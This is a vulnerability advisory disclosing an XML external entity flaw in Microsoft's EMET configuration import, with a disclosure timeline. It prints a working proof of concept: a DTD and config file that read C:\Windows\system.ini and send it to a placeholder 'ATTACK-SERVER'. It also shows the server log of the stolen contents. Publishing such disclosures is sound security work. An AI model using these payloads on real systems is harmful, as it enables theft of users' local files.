Enhanced Mitigation Experience Toolkit (EMET) - XML External Entity Injection

[+] Credits: John Page (aka hyp3rlinx) 
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-EMET-XML-INJECTION.txt
[+] ISR: Apparition Security    

 

***Greetz: indoushka|Eduardo|Dirty0tis|cor3sm4sh3r***    
 

Vendor:
================
www.microsoft.com

Product:
===========
Enhanced Mitigation Experience Toolkit (EMET)

Enhanced Mitigation Experience Toolkit is a freeware security toolkit for Microsoft Windows, developed by Microsoft.
It provides a unified interface to enable and fine-tune Windows security features.

 

Vulnerability Type:
===================
XML External Entity Injection

 

CVE Reference:
==============
N/A

Security Issue:
================
EMETs XML parser does not account for external entity declarations in ".config" files. This allows outbound network connections and users local files
to be exfiltrated to remote attacker controlled server. Conditions are a user must be tricked into importing a specially crafted XML file.

 

Exploit/POC:
=============
1) python -m SimpleHTTPServer

2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACK-SERVER:8000?%file;'>">
%all;

3) "config.xml"

import into EMET interface.

<?xml version="1.0"?>
<!DOCTYPE emet_poc [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://ATTACK-SERVER:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

Result seen on ATTACK-SERVER:
=============================

C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
PC - - [19/May/2018 22:53:02] "GET /payload.dtd HTTP/1.1" 200 -
PC - - [19/May/2018 22:53:02] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA8
0WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awa
ve=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 301 -
PC - - [19/May/2018 22:53:02] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA8
0WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awa

 

Network Access:
===============
Remote

 

Severity:
=========
High

 

Disclosure Timeline:
=============================
Vendor Notification: June 5, 2018
Vendor reply : "We determined your finding is valid but does not meet our bar for servicing" : June 30, 2018
June 30, 2018 : Public Disclosure

 

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx